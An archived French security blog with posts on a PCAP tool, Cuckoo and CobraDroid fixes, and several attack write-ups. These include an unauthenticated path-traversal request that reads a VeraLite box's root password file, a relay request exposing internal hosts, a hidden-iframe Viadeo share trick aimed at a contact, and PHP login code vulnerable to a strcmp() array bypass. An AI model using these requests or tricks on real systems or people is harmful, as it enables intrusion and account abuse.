08-12-2014 16:43:42

[Tool] ForensicPCAP, un outil d'analyse de PCAP en python

Un petit sujet concernant un script python que j'ai mis en ligne pour se faciliter la vie lors de besoins d'analyse rapide d'un PCAP. Il utilise la librairie Cmd2 de python donc cela s'utilise sous forme de shell et permet de lancer des commandes shell ou d'écrire directement dans des fichiers via > .

ForensicPCAP est disponible sur Github. Je vais l'améliorer pour ajouter des dumps automatiques d'images ou autres petites idées. Si vous avez un besoin particulier n'hésitez pas à m'en parler, je suis ouvert à toute proposition d'évolution.
Exemple :
user@puf:~$ ./forensicPCAP.py exemple.pcap 
## Loading PCAP /home/user/exemple.pcap ... OK.
ForPCAP >>> dns
## Listing all DNS requests ...OK.
## Result : 34 DNS request(s)
ForPCAP >>> show
1 | blog.madpowah.org
ForPCAP >>> mail
## Searching mail's request ... OK.
## Result : Mail's request : 0
## Saving mails ... OK
ForPCAP >>> web
## Searching web's request ... .................OK.

Web's request : 17
ForPCAP >>> show
GET / HTTP/1.1
Cache-Control: max-age = 4624
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Sat, 22 Nov 2014 07:49:38 GMT
ForPCAP >>> followtcpstream 50
## Searching TCP Stream in PCAP ... OK
ForPCAP >>> show
44 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http S
46 | Ether / IP / TCP 10.0.2.100:http > 10.0.2.15:49163 SA
47 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http A
50 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http PA / Raw
51 | Ether / IP / TCP 10.0.2.100:http > 10.0.2.15:49163 A
56 | Ether / IP / TCP 10.0.2.100:http > 10.0.2.15:49163 PA / Raw
62 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http PA / Raw
63 | Ether / IP / TCP 10.0.2.100:http > 10.0.2.15:49163 A
84 | Ether / IP / TCP 10.0.2.100:http > 10.0.2.15:49163 PA / Raw
94 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http A
159 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http PA / Raw
160 | Ether / IP / TCP 10.0.2.100:http > 10.0.2.15:49163 A
170 | Ether / IP / TCP 10.0.2.100:http > 10.0.2.15:49163 PA / Raw
174 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http A
195 | Ether / IP / TCP 10.0.2.15:49163 > 10.0.2.100:http RA
ForPCAP >>> show raw
GET / HTTP/1.1
Accept: */*
If-Modified-Since: Mon, 24 Nov 2014 18:08:00 GMT
If-None-Match: 1416852480000
A-IM: feed
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Have fun !

Posted by cloud | Permanent link

03-05-2014 21:40:01

[Secu] Blocage compte avec Pwpolicy sous MacOSX

Voulant implémenter une politique de mot de passe sur un MacOSX, je tombe sur la commande pwpolicy. Je regarde la doc, le man et je met en place une règle basique de blocage au bout de 3 échecs d'authentification.
Je test : OK ca marche sauf que ... le compte se débloque au bout d'1mn. Pas d'info sur le sujet dans le man. Rien non plus dans le guide sécu de Apple ... Super.

Bref au bout de quelques temps de recherche voici la commande pour configurer cette durée de déblocage (par exemple 90 mn) :
pwpolicy -n /Local/Default -setglobalpolicy 
"minutesUntilFailedLoginReset=90" 
Have fun.

Posted by cloud | Permanent link | File under: Security

09-10-2013 20:27:12

[Tuto] Probleme installation Cobradroid

Toujours suite au Brucon et ayant quelques applis Android à regarder, j'ai voulu tester CobraDroid pour me faciliter le travail.

1ère étape l'installation (sous Linux). Je suis donc la doc du site officiel et là ... c'est le drame. Impossible d'utiliser l'API Cobra lorsque je crée un AVD.

L'astuce est que contrairement à ce qui est indiqué il ne faut pas déposer les fichiers sous :
~/android-sdk-linux/addon-cobradroid-beta
mais sous :
~/android-sdk-linux/add-ons/addon-cobradroid-beta
On relance l'émulateur et on crée un AVD et la dans Target on peut bien maintenant choisir CobraDroid.

Après en théorie cela peut très pratique mais personnellement le gros problème que j'ai rencontré est qu'il n'intègre pas la Google API (utilisé par exemple par maps) et donc cela empèche l'installation de pas mal d'applis.
2e inconvénient est qu'il ne propose pour l'instant une version 2.3.7 (qu'il faut d'ailleurs penser à installer / mettre à jour avant d'utiliser CobraDroid) mais bon une mise à jour est dans les tuyaux donc cela sera à suivre !

Have fun !

Posted by cloud | Permanent link | File under: Security, Coding

09-10-2013 20:10:53

[Tuto] Changement de lecteur PDF avec Cuckoo

Cuckoo est un outils très pratique pour analyser des codes. Pour que cela soit vraiment utile, il faut que l'analyse soit faite sur un environnement proche de celui que utilise et non pas avec les applications gérées par défaut par Cuckoo.
Par exemple pour l'ouverture d'un fichier PDF, si on souhaite évaluer un code sur un autre logiciel que Adobe Reader, il va falloir modifier un tout petit peu le code de Cuckoo. En effet mme si la VM est configurée par exemple pour ouvrir les PDF avec Foxit, Cuckoo ne le sachant pas va tenter de lancer l'analyse avec Adobe qui lui est configuré et afficher un message d'erreur.

Pour intégrer donc Foxit, rien de bien compliqué. Déjà on commence par l'installer dans la VM et à la cloner. Ensuite on va ouvrir le fichier cuckoo/analyzer/windows/modules/packages/pdf.py et ajouter le chemin d'installation de Foxit à la liste path comme cela :
paths = [
            os.path.join(os.getenv("ProgramFiles"), "Adobe", "Reader 
8.0", "Reader", "AcroRd32.exe"),
            os.path.join(os.getenv("ProgramFiles"), "Adobe", "Reader 
9.0", "Reader", "AcroRd32.exe"),
            os.path.join(os.getenv("ProgramFiles"), "Adobe", "Reader 
10.0", "Reader", "AcroRd32.exe"),
            os.path.join(os.getenv("ProgramFiles"), "Adobe", "Reader 
11.0", "Reader", "AcroRd32.exe"),
            os.path.join(os.getenv("ProgramFiles"), "Foxit Software", 
"Foxit Reader", "Foxit Reader.exe")
        ]
On relance Cuckoo et le tour est joué !

Posted by cloud | Permanent link | File under: Security, Coding

05-10-2013 00:27:06

[Bug] Correction bug Browse Cuckoo

Suite à la conf Brucon j'ai voulu jouer un peu avec Cuckoo. En testant l'application web fourni par web.py, je tombais sur une erreur 500 Internal Server Error en testant de cliquer sur le lien Browse et ma console crachais une trace du genre :
IP - - [05/Oct/2013 02:18:30] "GET / HTTP/1.1" 200 161508
Traceback (most recent call last):
  File "/usr/lib/python2.7/dist-packages/bottle.py", line 737, in _handle
    return route.call(**args)
  File "/usr/lib/python2.7/dist-packages/bottle.py", line 1504, in wrapper
    rv = callback(*a, **ka)
  File "/usr/lib/python2.7/dist-packages/bottle.py", line 1454, in wrapper
    rv = callback(*a, **ka)
  File "./cuckoo/utils/web.py", line 71, in browse
    sample = db.view_sample(row.sample_id)
  File "~/secu/cuckoo/utils/../lib/cuckoo/core/database.py", line 824, in view_sample
    session.expunge(sample)
UnboundLocalError: local variable 'sample' referenced before assignment
Pour corriger cela, il faut ouvrir web.py et modifier la ligne
sample = db.view_sample(row.sample_id)
par
sample = db.view_sample(row.id)
Le serveur web redémarre automatiquement à l'enregistrement de la modif et le Browse marche niquel !

Have fun :)

Posted by cloud | Permanent link | File under: OpenSource, Security

06-08-2013 21:19:58

[Humour] Blague geek sur Viadeo

La petite blague geek de l'été qui ne fera pas forcément rire vos amis ou vos collègues :)

-Créez une page web et insérez le code suivant :
<iframe
src="http://www.viadeo.com/shareit/redirect/?urlSharerId=002kdlzx4fu15o0"
width="0" height="0"
style="visibility:hidden;" />
-Envoyer un message privé depuis Viadeo à un de vos contacts lui indiquant d'aller visiter cette jolie page que vous venez de créer (vous pouvez y mettre des photos de vacances pour que cela soit plus crédible).

-Allez visiter la page de votre contact une fois qu'il a suivi votre lien.

-Riez (lui rira moins en général quand il se rendra compte de la blague :/).


Have fun :)

Posted by cloud | Permanent link | File under: Fun / Divers

17-06-2013 23:40:41

Root sur VeraLite sans authentification

En bataillant un peu avec ma box Veralite et l'API HTTP, je me suis rendu compte que la sécurité ne reposait que sur la sécurité du réseau Wifi car celle ci se fait sans authentification contrairement à l'accès à l'interface UI5. Un mail au support technique m'a confirmé cela. Il est donc possible de scanner facilement les device et de les activer du moment que l'on est sur le meme réseau.

J'ai donc constaté qu'il y avait une autre méthode non documentée que les 2 de mon précédent article pour obtenir le mot de passe root et en prime sans aucune authentification.

En effet la documentation indique ceci :
file
Returns the contents of a file in /etc/cmh or /etc/cmh-ludl. Has one 
parameter, parameters, which is the name of the file.

Example: 
http://ip_address:3480/data_request?id=file&parameters=D_BinaryLight1.xml 
Sauf que cela va plus loin et qu'il est possible de lire le fichier contenant le mot de passe root simplement par la requète suivante :
http://vera 
ip:3480/data_request?id=file&parameters=../../etc/cmh/cmh.conf
Et hop il n'y a plus qu'à se connecter en SSH.

Par ailleurs on pourrait facilement rebondir sur le réseau interne via des tunnels SSH mais la box nous facilite énormément le travail ! Il suffit de faire la requete suivante pour obtenir l'accès au port 80 d'une machine du réseau interne depuis Internet :
http://veraip:3480/data_request?id=relay&ip=&port=80
On obtiens alors l'adresse d'accès depuis Internet :
cms2.mios.com:21802
On peut parfois d'ailleurs trouver quelques perles en balayant les ports comme des caméras ip :)

Pour conclure il ne faut donc jamais ouvrir sa box directement sur Internet et ne jamais laisser quelqu'un se connecter à son réseau interne sous peine de mauvaises blagues !

Posted by cloud | Permanent link

06-06-2013 00:28:35

Root SSH sur box VeraLite

Je m'amuse actuellement à tester un peu de domotique avec une box VeraLite. Et bien sur pour tester, ce qui est fort utile est un accès SSH root sur le système ! Pour cela je vous propose 2 méthodes histoire d'avoir le choix :

Méthode 1:
Depuis l'interface Web (UI5) allez dans Configuration > Sauvegarde et récupérez une sauvegarde existante. Il suffit alors de la décompresser et de regarder dans le fichier /etc/cmh/cmh.conf pour obtenir le pass root.
login as: root
root@192.168.0.X's password:


BusyBox v1.17.3 (2012-01-09 12:40:42 PST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M

 -------------- Backfire (10.03) -------------------

 ---------------------------------------------------
  ***      MiOS LTD. ( www.mios.com )        ***
  ***                                        ***
  ***               WARNING :                ***
  *** Any changes made to the system without ***
  *** guidance from MiOS support will VOID   ***
  *** your future Support requests           ***
 ---------------------------------------------------
root@MiOS_xxxxxxxx:~#
Méthode 2 :
Depuis l'interface Web (UI5) allez dans Comptes > Support technique et activez l'accès à distance. Vous allez alors obtenir une ligne du genre :
L'accès à distance par le support technique est 
activé, code d'accès 12345678-424242 (SSH: SSH_22=12345 
TS_SRV=ts2) 
Le mot de passe qui nous intéresse est alors 424242 qui est le mot de passe du compte "remote" que l'on va utiliser et obtenir un droit root.
login as: remote
remote@192.168.0.X's password:


BusyBox v1.17.3 (2012-01-09 12:40:42 PST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M

 -------------- Backfire (10.03) -------------------

 ---------------------------------------------------
  ***      MiOS LTD. ( www.mios.com )        ***
  ***                                        ***
  ***               WARNING :                ***
  *** Any changes made to the system without ***
  *** guidance from MiOS support will VOID   ***
  *** your future Support requests           ***
 ---------------------------------------------------
root@MiOS_xxxxxxxx:~#
Ce mot de passe utilisé si besoin de support de l'assistance de mi0s ne fonctionnera que 24h ou le temps que vous désactiviez le service.

Have fun !

Posted by cloud | Permanent link

28-10-2012 19:39:35

[WTF] Euromillion et la sécurité

La blague du jour est issue du site Le Monde sur son article sur le hack du site de l'Euromillion :
La Francaise des Jeux (FDJ) a précisé que "seule la page 
d'accueil du site d'information Euromillions.fr avait été 
touchée" 
par ce piratage. Le site fdj.fr "continue a fonctionner normalement sans 
aucune conséquence sur les prises de jeu et sur 
l'intégrité 
du jeu", a assuré la FDJ en rappelant qu'elle est le seul 
opérateur de jeux en France à détenir la norme 
ISO27001, "le plus haut 
standard en matière de sécurité informatique".

La du coup je pense que tout le monde est rassuré sauf ceux qui savent ce qu'est la norme 27001 et ce que signifie son obtention :)

Posted by cloud | Permanent link | File under: Fun / Divers

01-10-2012 19:27:39

[PHP] Strcmp() bypass

Un article que j'ai beaucoup apprécié vu sur Twitter.

En gros quand on envoie en PHP un tableau à comparer avec une string via la fonction strcmp() ou strcasecmp() alors cela renvoie 0. Ok why not ...
Pour tester sur un cas plus "réel", j'ai testé avec une variable POST avec le code suivant :
 <?php
        $key = "0wned";
        $pass = "tata";
        if (strcasecmp( $_POST['pass'], $pass) == 0) {
			echo($key);
        }
 ?>
        <form action="key.php" method="post" /">
        <input type="text" name="pass[]" />
        <input type="hidden" name="ok" value="OK" />
        <input type="submit" value="GO" />
        </form/>
Bien sur cela marche parfaitement, quoi que l'on mette le echo s'effectue. Heureusement les sites ne gèrent pas l'authentification de cette manière en général mais on doit trouver quelques exceptions pour des cas particuliers.

Ce qui est assez étonnant c'est que selon la version de PHP ces fonctions renvoient une valeur différente. Ainsi en 5.2, strcmp(string, array) renvoie -1, en 5.3 cela renvoie 0 et en 5.4 cela renvoie un NULL + warning. Un langage hyper bien pensé pour la rétrocompatibilité ...

Bref de nouvelles fonctions à surveiller lors d'un audit de code ou d'un pentest pour bypasser des authentifications ou des sécurités :)

Posted by cloud | Permanent link | File under: Security, Coding